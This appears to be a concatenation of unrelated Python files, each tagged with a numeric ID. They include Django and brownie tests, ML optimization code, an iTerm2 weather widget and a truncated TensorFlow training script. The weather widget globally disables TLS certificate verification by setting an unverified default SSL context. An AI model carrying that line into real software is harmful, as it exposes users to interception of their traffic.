from __future__ import unicode_literals import sys import django from django.contrib.auth.models import User from django.core.exceptions import ImproperlyConfigured from django.test import TestCase from object_tools import autodiscover from object_tools.sites import ObjectTools from object_tools.tests.tools import TestTool, TestInvalidTool from object_tools.validation import validate class InitTestCase(TestCase): """ Test that tool modules are imported after autodiscover() """ def test_autodiscover(self): autodiscover() self.assertTrue( 'object_tools.tests.tools' in list(sys.modules.keys()), 'Autodiscover should import tool modules from installed apps.' ) class ValidateTestCase(TestCase): """ Test object tool validation. Each object tool should have name and a label attribute. Each object tool should also define a view method. ImproperlyConfigured exception is raised for missing name and/or label. NotImplementedError is raised if a view is not defined. """ def test_validation(self): # Fail without 'name' member. self.assertRaises( ImproperlyConfigured, validate, TestInvalidTool, User ) try: validate(TestInvalidTool, User) except ImproperlyConfigured as e: message = str(e) self.assertEqual( message, "No 'name' attribute found for tool TestInvalidTool." ) TestInvalidTool.name = 'test_invalid_tool' # Fail without 'label' member. self.assertRaises( ImproperlyConfigured, validate, TestInvalidTool, User ) try: validate(TestInvalidTool, User) except ImproperlyConfigured as e: message = str(e) self.assertEqual( message, "No 'label' attribute found for tool TestInvalidTool." ) TestInvalidTool.label = 'Test Invalid Tool' # Fail without 'view' member. self.assertRaises( NotImplementedError, validate, TestInvalidTool, User ) try: validate(TestInvalidTool, User) except NotImplementedError as e: message = str(e) self.assertEqual( message, "No 'view' method found for tool TestInvalidTool." ) class ObjectToolsTestCase(TestCase): """ Testcase for object_tools.sites.ObjectTools. """ def test_init(self): # Check init results in expected members. tools = ObjectTools() self.assertEqual(tools.name, 'object-tools') self.assertEqual(tools.app_name, 'object-tools') self.assertEqual(tools._registry, {}) def test_register(self): # Set DEBUG = True so validation is triggered. from django.conf import settings settings.DEBUG = True tools = ObjectTools() tools.register(TestTool) def test_urls(self): tools = ObjectTools() # Without any tools should be empty list, namespaces # should be 'object-tools'. self.assertEqual(tools.urls, ([], 'object-tools', 'object-tools')) # With a tool registered, urls should include it for each model. tools.register(TestTool) urls = tools.urls self.assertEqual(len(urls[0]), 6) if django.VERSION >= (2, 0): urlpatterns = [ "<URLPattern '^test_tool/$' [name='sessions_session_test_tool']>", "<URLPattern '^test_tool/$' [name='auth_user_test_tool']>", "<URLPattern '^test_tool/$' [name='auth_group_test_tool']>", "<URLPattern '^test_tool/$' [name='auth_permission_test_tool']>", "<URLPattern '^test_tool/$' [name='contenttypes_contenttype_test_tool']>", "<URLPattern '^test_tool/$' [name='admin_logentry_test_tool']>", ] else: urlpatterns = [ '<RegexURLPattern sessions_session_test_tool ^test_tool/$>', '<RegexURLPattern auth_user_test_tool ^test_tool/$>', '<RegexURLPattern auth_group_test_tool ^test_tool/$>', '<RegexURLPattern auth_permission_test_tool ^test_tool/$>', '<RegexURLPattern contenttypes_contenttype_test_tool ^test_tool/$>', '<RegexURLPattern admin_logentry_test_tool ^test_tool/$>' ] for url in urls[0]: self.assertTrue(url.url_patterns[0].__repr__() in urlpatterns)
69516
from utilities.analisys_parser.analizer.abstract.expression import Expression, TYPE from utilities.analisys_parser.analizer.abstract import expression from utilities.analisys_parser.analizer.reports import Nodo from utilities.analisys_parser.analizer.statement.expressions import primitive class Relational(Expression): """ Esta clase contiene las expresiones binarias de comparacion que devuelven un booleano. """ def __init__(self, exp1, exp2, operator, row, column): super().__init__(row, column) self.exp1 = exp1 self.exp2 = exp2 self.operator = operator self.temp = exp1.temp + str(operator) + exp2.temp def execute(self, environment): exp1 = self.exp1.execute(environment) exp2 = self.exp2.execute(environment) operator = self.operator try: if operator == "<": value = exp1.value < exp2.value elif operator == ">": value = exp1.value > exp2.value elif operator == ">=": value = exp1.value >= exp2.value elif operator == "<=": value = exp1.value <= exp2.value elif operator == "=": value = exp1.value == exp2.value elif operator == "!=": value = exp1.value != exp2.value elif operator == "<>": value = exp1.value != exp2.value elif operator == "ISDISTINCTFROM": value = exp1.value != exp2.value elif operator == "ISNOTDISTINCTFROM": value = exp1.value == exp2.value else: expression.list_errors.append( "Error: 22P02: entrada invalida: " + str(exp1.type) + " " + str(operator) + " " + str(exp2.type) + "\n En la linea: " + str(self.row) ) raise Exception return primitive.Primitive( TYPE.BOOLEAN, value, self.temp, self.row, self.column ) except TypeError: expression.list_errors.append( "Error: 42883: la operacion no existe entre: " + str(exp1.type) + " " + str(operator) + " " + str(exp2.type) + "\n En la linea: " + str(self.row) ) raise Exception except: expression.list_errors.append( "Error: XX000: Error interno (Binary Relational Operation)" + "\n En la linea: " + str(self.row) ) def dot(self): n1 = self.exp1.dot() n2 = self.exp2.dot() new = Nodo.Nodo(self.operator) new.addNode(n1) new.addNode(n2) return new
69584
import peewee import playhouse.pool # This is just one example of one of the support databases # see https://docs.peewee-orm.com/en/latest/peewee/database.html db = peewee.MySQLDatabase() conn = db.connection() cursor = conn.cursor() cursor.execute("sql") # $ getSql="sql" cursor = db.cursor() cursor.execute("sql") # $ getSql="sql" db.execute_sql("sql") # $ getSql="sql" # Pool extension pool = playhouse.pool.PooledMySQLDatabase(...) pool.execute_sql("sql") # $ getSql="sql"
69602
import sys import time import argparse import os import torch from GPmodel.kernels.mixeddiffusionkernel import MixedDiffusionKernel from GPmodel.models.gp_regression import GPRegression from GPmodel.sampler.sample_mixed_posterior import posterior_sampling from GPmodel.sampler.tool_partition import group_input from GPmodel.inference.inference import Inference from acquisition.acquisition_optimization import next_evaluation from acquisition.acquisition_functions import expected_improvement from acquisition.acquisition_marginalization import inference_sampling from config import experiment_directory from utils import model_data_filenames, load_model_data, displaying_and_logging from experiments.random_seed_config import generate_random_seed_coco from experiments.test_functions.mixed_integer import MixedIntegerCOCO from experiments.test_functions.weld_design import Weld_Design from experiments.test_functions.speed_reducer import SpeedReducer from experiments.test_functions.pressure_vessel_design import Pressure_Vessel_Design # from experiments.test_functions.push_robot_14d import Push_robot_14d from experiments.test_functions.nn_ml_datasets import NN_ML_Datasets from experiments.test_functions.em_func import EM_func def HyBO(objective=None, n_eval=200, path=None, parallel=False, store_data=True, problem_id=None, **kwargs): """ :param objective: :param n_eval: :param path: :param parallel: :param kwargs: :return: """ acquisition_func = expected_improvement n_vertices = adj_mat_list = None eval_inputs = eval_outputs = log_beta = sorted_partition = lengthscales = None time_list = elapse_list = pred_mean_list = pred_std_list = pred_var_list = None if objective is not None: exp_dir = experiment_directory() objective_id_list = [objective.__class__.__name__] if hasattr(objective, 'random_seed_info'): objective_id_list.append(objective.random_seed_info) if hasattr(objective, 'data_type'): objective_id_list.append(objective.data_type) objective_id_list.append('HyBO') if problem_id is not None: objective_id_list.append(problem_id) objective_name = '_'.join(objective_id_list) model_filename, data_cfg_filaname, logfile_dir = model_data_filenames(exp_dir=exp_dir, objective_name=objective_name) n_vertices = objective.n_vertices adj_mat_list = objective.adjacency_mat grouped_log_beta = torch.ones(len(objective.fourier_freq)) log_order_variances = torch.zeros((objective.num_discrete + objective.num_continuous)) fourier_freq_list = objective.fourier_freq fourier_basis_list = objective.fourier_basis suggested_init = objective.suggested_init # suggested_init should be 2d tensor n_init = suggested_init.size(0) num_discrete = objective.num_discrete num_continuous = objective.num_continuous lengthscales = torch.zeros((num_continuous)) print("******************* initializing kernel ****************") kernel = MixedDiffusionKernel(log_order_variances=log_order_variances, grouped_log_beta=grouped_log_beta, fourier_freq_list=fourier_freq_list, fourier_basis_list=fourier_basis_list, lengthscales=lengthscales, num_discrete=num_discrete, num_continuous=num_continuous) surrogate_model = GPRegression(kernel=kernel) eval_inputs = suggested_init eval_outputs = torch.zeros(eval_inputs.size(0), 1, device=eval_inputs.device) for i in range(eval_inputs.size(0)): eval_outputs[i] = objective.evaluate(eval_inputs[i]) assert not torch.isnan(eval_outputs).any() log_beta = eval_outputs.new_zeros(num_discrete) log_order_variance = torch.zeros((num_discrete + num_continuous)) sorted_partition = [[m] for m in range(num_discrete)] lengthscale = torch.zeros((num_continuous)) time_list = [time.time()] * n_init elapse_list = [0] * n_init pred_mean_list = [0] * n_init pred_std_list = [0] * n_init pred_var_list = [0] * n_init surrogate_model.init_param(eval_outputs) print('(%s) Burn-in' % time.strftime('%H:%M:%S', time.localtime())) sample_posterior = posterior_sampling(surrogate_model, eval_inputs, eval_outputs, n_vertices, adj_mat_list, log_order_variance, log_beta, lengthscale, sorted_partition, n_sample=1, n_burn=1, n_thin=1) log_order_variance = sample_posterior[1][0] log_beta = sample_posterior[2][0] lengthscale = sample_posterior[3][0] sorted_partition = sample_posterior[4][0] print('') else: surrogate_model, cfg_data, logfile_dir = load_model_data(path, exp_dir=experiment_directory()) for _ in range(n_eval): start_time = time.time() reference = torch.min(eval_outputs, dim=0)[0].item() print('(%s) Sampling' % time.strftime('%H:%M:%S', time.localtime())) sample_posterior = posterior_sampling(surrogate_model, eval_inputs, eval_outputs, n_vertices, adj_mat_list, log_order_variance, log_beta, lengthscale, sorted_partition, n_sample=10, n_burn=0, n_thin=1) hyper_samples, log_order_variance_samples, log_beta_samples, lengthscale_samples, partition_samples, freq_samples, basis_samples, edge_mat_samples = sample_posterior log_order_variance = log_order_variance_samples[-1] log_beta = log_beta_samples[-1] lengthscale = lengthscale_samples[-1] sorted_partition = partition_samples[-1] print('\n') # print(hyper_samples[0]) # print(log_order_variance) # print(log_beta) # print(lengthscale) # print(sorted_partition) # print('') x_opt = eval_inputs[torch.argmin(eval_outputs)] inference_samples = inference_sampling(eval_inputs, eval_outputs, n_vertices, hyper_samples, log_order_variance_samples, log_beta_samples, lengthscale_samples, partition_samples, freq_samples, basis_samples, num_discrete, num_continuous) suggestion = next_evaluation(objective, x_opt, eval_inputs, inference_samples, partition_samples, edge_mat_samples, n_vertices, acquisition_func, reference, parallel) next_eval, pred_mean, pred_std, pred_var = suggestion processing_time = time.time() - start_time print("next_eval", next_eval) eval_inputs = torch.cat([eval_inputs, next_eval.view(1, -1)], 0) eval_outputs = torch.cat([eval_outputs, objective.evaluate(eval_inputs[-1]).view(1, 1)]) assert not torch.isnan(eval_outputs).any() time_list.append(time.time()) elapse_list.append(processing_time) pred_mean_list.append(pred_mean.item()) pred_std_list.append(pred_std.item()) pred_var_list.append(pred_var.item()) displaying_and_logging(logfile_dir, eval_inputs, eval_outputs, pred_mean_list, pred_std_list, pred_var_list, time_list, elapse_list, hyper_samples, log_beta_samples, lengthscale_samples, log_order_variance_samples, store_data) print('Optimizing %s with regularization %.2E up to %4d visualization random seed : %s' % (objective.__class__.__name__, objective.lamda if hasattr(objective, 'lamda') else 0, n_eval, objective.random_seed_info if hasattr(objective, 'random_seed_info') else 'none')) if __name__ == '__main__': parser_ = argparse.ArgumentParser( description='Hybrid Bayesian optimization using additive diffusion kernels') parser_.add_argument('--n_eval', dest='n_eval', type=int, default=220) parser_.add_argument('--objective', dest='objective') parser_.add_argument('--problem_id', dest='problem_id', type=str, default=None) args_ = parser_.parse_args() kwag_ = vars(args_) objective_ = kwag_['objective'] print(kwag_) for i in range(25): if objective_ == 'coco': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = MixedIntegerCOCO(random_seed_, problem_id=kwag_['problem_id']) elif objective_ == 'weld_design': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = Weld_Design(random_seed_, problem_id=kwag_['problem_id']) elif objective_ == 'speed_reducer': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = SpeedReducer(random_seed_, problem_id=kwag_['problem_id']) elif objective_ == 'pressure_vessel': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = Pressure_Vessel_Design(random_seed_, problem_id=kwag_['problem_id']) #elif objective_ == 'push_robot': # random_seed_ = sorted(generate_random_seed_coco())[i] # kwag_['objective'] = Push_robot_14d(random_seed_, problem_id=kwag_['problem_id']) elif objective_ == 'em_func': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = EM_func(random_seed_, problem_id=kwag_['problem_id']) elif objective_ == 'nn_ml_datasets': random_seed_ = sorted(generate_random_seed_coco())[i] kwag_['objective'] = NN_ML_Datasets(random_seed_, problem_id=kwag_['problem_id']) else: raise NotImplementedError HyBO(**kwag_)
69633
import torch def scal(a, f): return torch.sum(a * f, dim=1) def check_cost_consistency(x, y, C): mask = ( (x.size()[0] == C.size()[0]) & (x.size()[1] == C.size()[1]) & (y.size()[2] == C.size()[2]) ) if not mask: raise Exception( "Dimension of cost C inconsistent with input " "tensor dimension (x,y)" ) def dist_matrix(x_i, y_j, p): if p == 1: return (x_i[:, :, None, :] - y_j[:, None, :, :]).norm(p=2, dim=3) elif p == 2: return (x_i[:, :, None, :] - y_j[:, None, :, :]).norm(p=2, dim=3) ** 2 else: C_e = (x_i[:, :, None, :] - y_j[:, None, :, :]).norm(p=2, dim=3) return C_e ** (p) def euclidean_cost(p): def cost(x, y): return dist_matrix(x, y, p) return cost def convolution(a, x, b, y, cost): C = cost(x, y) return ( torch.bmm(C, b[:, :, None]).squeeze(), torch.bmm(C.transpose(1, 2), a[:, :, None]).squeeze(), ) def softmin(a_i, C, b_j=None): """ Outputs the fixed point mapping (S_x, S_y) of Sinkhorn iterations, i.e. mappings such that at convergence, f = S_y(g) and g = S_x(f). """ a_i_log = a_i.log() def softmin_x(f_i, ep): return -ep * ( (f_i / ep + a_i_log)[:, None, :] - C.transpose(1, 2) / ep ).logsumexp(dim=2) if b_j is not None: b_j_log = b_j.log() def softmin_y(f_j, ep): return -ep * ((f_j / ep + b_j_log)[:, None, :] - C / ep).logsumexp( dim=2 ) return softmin_x, softmin_y else: return softmin_x, None def exp_softmin(a_i, K, b_j=None): """ Outputs the fixed point mapping (S_x, S_y) of Sinkhorn iterations, i.e. mappings such that at convergence, f = S_y(g) and g = S_x(f). Exponential form which is not stabilized. """ def softmin_x(f_i): return torch.einsum("ijk,ij->ik", K, f_i * a_i) if b_j is not None: def softmin_y(f_j): return torch.einsum("ijk,ik->ij", K, f_j * b_j) return softmin_x, softmin_y else: return softmin_x, None def generate_measure(n_batch, n_sample, n_dim): """ Generate a batch of probability measures in R^d sampled over the unit square :param n_batch: Number of batches :param n_sample: Number of sampling points in R^d :param n_dim: Dimension of the feature space :return: A (Nbatch, Nsample, Ndim) torch.Tensor """ m = torch.distributions.exponential.Exponential(1.0) a = m.sample(torch.Size([n_batch, n_sample])) a = a / a.sum(dim=1)[:, None] m = torch.distributions.uniform.Uniform(0.0, 1.0) x = m.sample(torch.Size([n_batch, n_sample, n_dim])) return a, x def generate_gaussian_measure(n_batch, n_sample, n_dim): a = torch.ones(n_batch, n_sample) a = a / a.sum(dim=1)[:, None] m = torch.distributions.normal.Normal(0.0, 1.0) x = m.sample(torch.Size([n_batch, n_sample, n_dim])) return a, x
69646
from typing import Any from talon import Module mod = Module() mod.list( "cursorless_to_raw_selection", desc="Cursorless modifier that converts its input to a raw selection.", ) @mod.capture(rule="{user.cursorless_to_raw_selection}") def cursorless_to_raw_selection(m) -> dict[str, Any]: return {"type": "toRawSelection"}
69681
from abc import ABC, abstractmethod from typing import Dict from mlagents.envs import AllBrainInfo, BrainParameters class BaseUnityEnvironment(ABC): @abstractmethod def step(self, vector_action=None, memory=None, text_action=None, value=None) -> AllBrainInfo: pass @abstractmethod def reset(self, config=None, train_mode=True) -> AllBrainInfo: pass @property @abstractmethod def global_done(self): pass @property @abstractmethod def external_brains(self) -> Dict[str, BrainParameters]: pass @property @abstractmethod def reset_parameters(self) -> Dict[str, str]: pass @abstractmethod def close(self): pass
69800
import json import traceback from dataclasses import dataclass from datetime import datetime, timedelta, timezone from pathlib import Path from typing import Union from urllib import request as urlreq, parse as urlparse import ssl ssl._create_default_https_context = ssl._create_unverified_context import iterm2 class WeatherInfo: APIKEY = '' CITYNAME = 'Shibuya' UNITS = 'metric' # available units: metric, standard, imperial ENDPOINT = 'https://api.openweathermap.org/data/2.5' CURRENT_WEATHER_URL = '/weather' FORECAST_URL = '/forecast' ICON2CHAR = { '01': '\uED98', '02': '\uED94', '03': '\uED8F', '04': '\uED96', '09': '\uED95', '10': '\uED95', '11': '\uED92', '13': '\uED97', '50': '\uED90', } NA = 'N/A' def __init__(self, tz='JST', hours=9): self.tz = timezone(timedelta(hours=hours), tz) self.current_weather = None self.forecast_weather = None self.fetch_status = None self.lat = f'{self.NA}' self.lon = f'{self.NA}' self.dt = f'{self.NA}' self.wc = f'{self.NA}' self.wcd = f'{self.NA}' self.wci = f'02d' self.tc = f'{self.NA}' self.tcs = f'{self.NA}' self.w3 = f'{self.NA}' self.w3d = f'{self.NA}' self.w3i = f'02d' self.t3 = f'{self.NA}' self.t3s = f'{self.NA}' def build_url(self, mode='current') -> str: params = self.build_params() if mode == 'current': url = f'{self.ENDPOINT}{self.CURRENT_WEATHER_URL}?{urlparse.urlencode(params)}' elif mode == 'forecast': url = f'{self.ENDPOINT}{self.FORECAST_URL}?{urlparse.urlencode(params)}' else: raise ValueError(f'Invalid mode={mode}: choose from `current` or `forecast`.') return url def build_params(self) -> dict: return { 'q': self.CITYNAME, 'APPID': self.APIKEY, 'units': self.UNITS } def fetch_weather(self): try: with urlreq.urlopen(urlreq.Request(self.build_url('current'))) as res: self.current_weather = json.load(res) with urlreq.urlopen(urlreq.Request(self.build_url('forecast'))) as res: self.forecast_weather = json.load(res) self.fetch_status = 'SUCCEEDED' except: print(f'[ERROR] Fetch failed: {traceback.format_exc()}') self.fetch_status = 'FAILED' def parse_weather(self): try: self.lat = self.current_weather['coord']['lat'] self.lon = self.current_weather['coord']['lon'] self.dt = datetime.fromtimestamp(self.current_weather['dt'], self.tz) self.wc = f"{self.current_weather['weather'][0]['main']}" self.wcd = f"{self.current_weather['weather'][0]['description']}" self.wci = self.current_weather['weather'][0]['icon'] self.tc = self.current_weather['main']['temp'] self.tcs = f'{self.tc:.1f}' self.w3 = f"{self.forecast_weather['list'][0]['weather'][0]['main']}" self.w3d = f"{self.forecast_weather['list'][0]['weather'][0]['description']}" self.w3i = self.forecast_weather['list'][0]['weather'][0]['icon'] self.t3 = self.forecast_weather['list'][0]['main']['temp'] self.t3s = f'{self.t3:.1f}' except: print(f'[ERROR] Something goes wrong: {traceback.format_exc()}') def get_char(self, icon: str) -> str: icon = icon[:2] if icon not in self.ICON2CHAR: return self.NA return self.ICON2CHAR[icon] def print_weather_summary(self): print(f'Fetch Status: {self.fetch_status}') print(f'City: {self.CITYNAME} ({self.lat}, {self.lon})') print() print('=== weather info ===') print(f'Datetime: {self.dt}') print(f'Current Weather: {self.get_char(self.wci)} {self.wc} - {self.wcd}') print(f'Current Temperature: \uED0E {self.tc}') print(f'3hrs Weather: {self.get_char(self.w3i)} {self.w3} - {self.w3d}') print(f'3hrs Temperature: \uED0E {self.t3}') def iterm_format(self, use_icon=True, show_forecast=True) -> str: sep = '\uEB5E' if use_icon else '▶' th_char = '\uED0E ' if use_icon else '' unit = '' wc_char = f'{self.get_char(self.wci)} ' if use_icon else '' w3_char = f'{self.get_char(self.w3i)} ' if use_icon else '' weather_now = f'{wc_char}{self.wc} {th_char}{self.tcs}{unit}' forecast = f' {sep} {w3_char}{self.w3} {th_char}{self.t3s}{unit}' if show_forecast: text = weather_now + forecast else: text = weather_now return text @dataclass class KnobOption: name: str v: Union[str, bool] async def main(connection): knob_city = KnobOption('city', 'Shibuya') knob_use_icon = KnobOption('use_icon', True) knob_use_imperial = KnobOption('use_imperial', False) knob_show_forecast = KnobOption('show_forecast', True) knobs = [ iterm2.StringKnob('City', knob_city.v, knob_city.v, knob_city.name), iterm2.CheckboxKnob('Use icon', knob_use_icon.v, knob_use_icon.name), iterm2.CheckboxKnob('Show forecast', knob_show_forecast.v, knob_show_forecast.name), iterm2.CheckboxKnob('Use imperial units', knob_use_imperial.v, knob_use_imperial.name), ] component = iterm2.StatusBarComponent( short_description='Weather Info', detailed_description='A component that will tell you the current weather and the forecast.', knobs=knobs, exemplar=' Clouds  27.1   Clear  30.2', update_cadence=60, identifier='peinan.weather' ) def have_log(): return LOGFILE_PATH.exists() def is_refresh_time(): return datetime.now().minute % 10 == 0 def is_opt_modify(knobs): opt_set = { k.name for k in [knob_city, knob_use_icon, knob_use_imperial, knob_show_forecast] } if set(knobs.keys()) & opt_set == opt_set: return True return False def read_log(): return json.load(LOGFILE_PATH.open()) def write_log(city: str, use_icon: bool, units: str, show_forecast: bool, weather_info: str): log_data = { 'city': city, 'use_icon': use_icon, 'units': units, 'show_forecast': show_forecast, 'weather_info': weather_info } json.dump(log_data, LOGFILE_PATH.open('w'), ensure_ascii=False) def knob_value(knobs, option: KnobOption, default_value): """returns the option's value if the option is in the knob, otherwise returns False""" return knobs[option.name] if option.name in knobs else default_value @iterm2.StatusBarRPC async def weather_info(knobs): w.CITYNAME = knob_value(knobs, knob_city, 'Shibuya') w.UNITS = 'imperial' if knob_value(knobs, knob_use_imperial, False) else 'metric' use_icon = bool(knob_value(knobs, knob_use_icon, True)) show_forecast = bool(knob_value(knobs, knob_show_forecast, True)) ## for debug # print(f'knobs: {knobs}') # print(f'have log file: {have_log()}, is refresh time: {is_refresh_time()}') if have_log(): log_data = read_log() opt_req = is_opt_modify(knobs) is_same_opt = w.CITYNAME == log_data['city'] and w.UNITS == log_data['units'] and \ use_icon == log_data['use_icon'] and show_forecast == log_data['show_forecast'] # print(f'is knob option request: {opt_req}, is same knob options: {is_same_opt}') if not opt_req or (is_same_opt and not is_refresh_time()): # print(f'[application info] Use stored weather info: ' # f'city={w.CITYNAME}, units={w.UNITS}, use_icon={use_icon}, show_forecast={show_forecast}') return log_data['weather_info'] print(f'[application info] Fetching weather: {knobs}') w.fetch_weather() w.parse_weather() weather_info = w.iterm_format(use_icon=use_icon, show_forecast=show_forecast) write_log(w.CITYNAME, use_icon, w.UNITS, show_forecast, weather_info) return weather_info await component.async_register(connection, weather_info) CONFIG = json.load((Path(__file__).parent / 'config.json').open()) APIKEY = CONFIG['OpenWeatherAPIKey'] LOGFILE_PATH = Path('/tmp/iterm-weatherinfo.log') w = WeatherInfo() w.APIKEY = APIKEY iterm2.run_forever(main)
69803
import logging from django.db import ProgrammingError from django.core.exceptions import ImproperlyConfigured from timescale.db.backends.postgis import base_impl from timescale.db.backends.postgis.schema import TimescaleSchemaEditor logger = logging.getLogger(__name__) class DatabaseWrapper(base_impl.backend()): SchemaEditorClass = TimescaleSchemaEditor def prepare_database(self): """Prepare the configured database. This is where we enable the `timescaledb` extension if it isn't enabled yet.""" super().prepare_database() with self.cursor() as cursor: try: cursor.execute('CREATE EXTENSION IF NOT EXISTS timescaledb') except ProgrammingError: # permission denied logger.warning( 'Failed to create "timescaledb" extension. ' 'Usage of timescale capabilities might fail' 'If timescale is needed, make sure you are connected ' 'to the database as a superuser ' 'or add the extension manually.', exc_info=True )
69826
from js_reimpl_common import run_op_chapter1_chapter2 def run_op(keys, op, **kwargs): return run_op_chapter1_chapter2("chapter1", None, keys, op, **kwargs) def create_new(numbers): return run_op(None, "create_new", array=numbers) def create_new_broken(numbers): return run_op(None, "create_new_broken", array=numbers) def has_key(keys, key): return run_op(keys, "has_key", key=key) def linear_search(numbers, key): return run_op(None, "linear_search", key=key, array=numbers)
69837
import threading import time import pytest import brownie def send_and_wait_for_tx(): tx = brownie.accounts[0].transfer( brownie.accounts[1], "0.1 ether", required_confs=0, silent=True ) tx.wait(2) assert tx.confirmations >= 2 assert tx.status == 1 @pytest.fixture def block_time_network(devnetwork, config, network_name): """Provide a network with fixed block mining time of 1 second.""" config.networks[network_name]["cmd_settings"]["block_time"] = 1 devnetwork.disconnect() devnetwork.connect(network_name) yield devnetwork devnetwork.disconnect() def test_required_confirmations_deploy(accounts, BrownieTester, block_time_network, web3): block = web3.eth.block_number accounts[0].deploy(BrownieTester, True, required_confs=3) assert web3.eth.block_number - block >= 3 def test_required_confirmations_transfer(accounts, block_time_network, web3): block = web3.eth.block_number tx = accounts[0].transfer(accounts[1], "1 ether", required_confs=3) assert tx.confirmations >= 3 assert web3.eth.block_number - block >= 3 def test_required_confirmations_transact(accounts, BrownieTester, block_time_network, web3): block = web3.eth.block_number brownieTester = BrownieTester.deploy(True, {"from": accounts[0], "required_confs": 2}) assert web3.eth.block_number - block >= 2 block = web3.eth.block_number tx = brownieTester.doNothing({"from": accounts[0], "required_confs": 4}) assert tx.confirmations >= 4 assert web3.eth.block_number - block >= 4 def test_required_confirmations_zero(accounts, block_time_network, web3): block = web3.eth.block_number tx = accounts[0].transfer(accounts[1], "1 ether", required_confs=0) assert tx.status == -1 assert web3.eth.block_number - block == 0 time.sleep(1.5) assert tx.status == 1 assert tx.confirmations >= 1 def test_wait_for_confirmations(accounts, block_time_network): tx = accounts[0].transfer(accounts[1], "1 ether", required_confs=1) tx.wait(3) assert tx.confirmations in [3, 4] tx.wait(2) tx.wait(5) assert tx.confirmations >= 5 def test_pending_nonce(accounts, block_time_network): for _ in range(3): accounts[0].transfer(accounts[1], "0.1 ether", required_confs=0, silent=True) assert accounts[0]._pending_nonce() == 3 assert accounts[0].nonce < 3 time.sleep(3.5) assert accounts[0].nonce == 3 def test_multithreading(accounts, history, block_time_network): threads = [] for _ in range(3): thread = threading.Thread(target=send_and_wait_for_tx, daemon=True) threads.append(thread) thread.start() for thread in threads: thread.join() for tx in history: assert tx.status == 1 assert tx.confirmations >= 2
69842
import pygame as pg import sys from collision import * SCREENSIZE = (500,500) screen = pg.display.set_mode(SCREENSIZE, pg.DOUBLEBUF|pg.HWACCEL) v = Vector p0 = Concave_Poly(v(0,0), [v(-80,0), v(-20,20), v(0,80), v(20,20), v(80,0), v(20,-20), v(0,-80), v(-20,-20)]) p1 = Concave_Poly(v(500,500), [v(-80,0), v(-20,20), v(0,80), v(20,20), v(80,0), v(20,-20), v(0,-80), v(-20,-20)]) clock = pg.time.Clock() while 1: for event in pg.event.get(): if event.type == pg.QUIT: sys.exit() screen.fill((0,0,0)) p0.pos.x += 1 p0.pos.y += 0.75 p0.angle += 0.005 p1.pos.x -= 0.6 p1.pos.y -= 0.5 p0c, p1c, p2c = (0,255,255),(0,255,255),(0,255,255) p0bc = (255,255,255) p1bc = (255,255,255) if collide(p0,p1): p1c = (255,0,0); p0c = (255,0,0); if test_aabb(p0.aabb,p1.aabb): p1bc = (255,0,0); p0bc = (255,0,0); pg.draw.polygon(screen, p0c, p0.points, 3) pg.draw.polygon(screen, p1c, p1.points, 3) pg.draw.polygon(screen, p0bc, (p0.aabb[0],p0.aabb[1],p0.aabb[3],p0.aabb[2]), 3) pg.draw.polygon(screen, p1bc, (p1.aabb[0],p1.aabb[1],p1.aabb[3],p1.aabb[2]), 3) pg.display.flip() clock.tick(100)
69849
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os,time,datetime,sys import numpy as np import dgcnn import tensorflow as tf def round_decimals(val,digits): factor = float(np.power(10,digits)) return int(val * factor+0.5) / factor def iteration_from_filename(file_name): return int((file_name.split('-'))[-1]) def iotest(flags): # IO configuration io = dgcnn.io_factory(flags) io.initialize() num_entries = io.num_entries() ctr = 0 while ctr < num_entries: idx,data,label,weight=io.next() msg = str(ctr) + '/' + str(num_entries) + ' ... ' + str(idx) + ' ' + str(data[0].shape) if label: msg += str(label[0].shape) if weight: msg += str(weight[0].shape) print(msg) ctr += len(data) io.finalize() class Handlers: sess = None data_io = None csv_logger = None weight_io = None train_logger = None iteration = 0 def train(flags): flags.TRAIN = True handlers = prepare(flags) train_loop(flags,handlers) def inference(flags): flags.TRAIN = False handlers = prepare(flags) inference_loop(flags,handlers) def prepare(flags): handlers = Handlers() # assert if flags.BATCH_SIZE % (flags.MINIBATCH_SIZE * len(flags.GPUS)): msg = '--batch_size (%d) must be a modular of --gpus (%d) * --minibatch_size (%d)\n' msg = msg % (flags.BATCH_SIZE,flags.MINIBATCH_SIZE,len(flags.GPUS)) sys.stderr.write(msg) sys.exit(1) # IO configuration handlers.data_io = dgcnn.io_factory(flags) handlers.data_io.initialize() _,train_data,_,_ = handlers.data_io.next() # Trainer configuration flags.NUM_CHANNEL = handlers.data_io.num_channels() handlers.trainer = dgcnn.trainval(flags) handlers.trainer.initialize() # Create a session config = tf.ConfigProto() config.gpu_options.allow_growth = True config.allow_soft_placement = True handlers.sess = tf.Session(config=config) init = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer()) handlers.sess.run(init) handlers.weight_io = tf.train.Saver(max_to_keep=flags.CHECKPOINT_NUM, keep_checkpoint_every_n_hours=flags.CHECKPOINT_HOUR) if flags.WEIGHT_PREFIX: save_dir = flags.WEIGHT_PREFIX[0:flags.WEIGHT_PREFIX.rfind('/')] if save_dir and not os.path.isdir(save_dir): os.makedirs(save_dir) handlers.iteration = 0 loaded_iteration = 0 if flags.MODEL_PATH: handlers.weight_io.restore(handlers.sess, flags.MODEL_PATH) loaded_iteration = iteration_from_filename(flags.MODEL_PATH) if flags.TRAIN: handlers.iteration = loaded_iteration+1 if flags.LOG_DIR: if not os.path.exists(flags.LOG_DIR): os.mkdir(flags.LOG_DIR) handlers.train_logger = tf.summary.FileWriter(flags.LOG_DIR) handlers.train_logger.add_graph(handlers.sess.graph) logname = '%s/train_log-%07d.csv' % (flags.LOG_DIR,loaded_iteration) if not flags.TRAIN: logname = '%s/inference_log-%07d.csv' % (flags.LOG_DIR,loaded_iteration) handlers.csv_logger = open(logname,'w') return handlers def train_loop(flags,handlers): handlers.csv_logger.write('iter,epoch') handlers.csv_logger.write(',titer,ttrain,tio,tsave,tsummary') handlers.csv_logger.write(',tsumiter,tsumtrain,tsumio,tsumsave,tsumsummary') handlers.csv_logger.write(',loss,accuracy\n') tsum = 0. tsum_train = 0. tsum_io = 0. tsum_save = 0. tsum_summary = 0. while handlers.iteration < flags.ITERATION: tstamp_iteration = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S') tstart_iteration = time.time() report_step = flags.REPORT_STEP and ((handlers.iteration+1) % 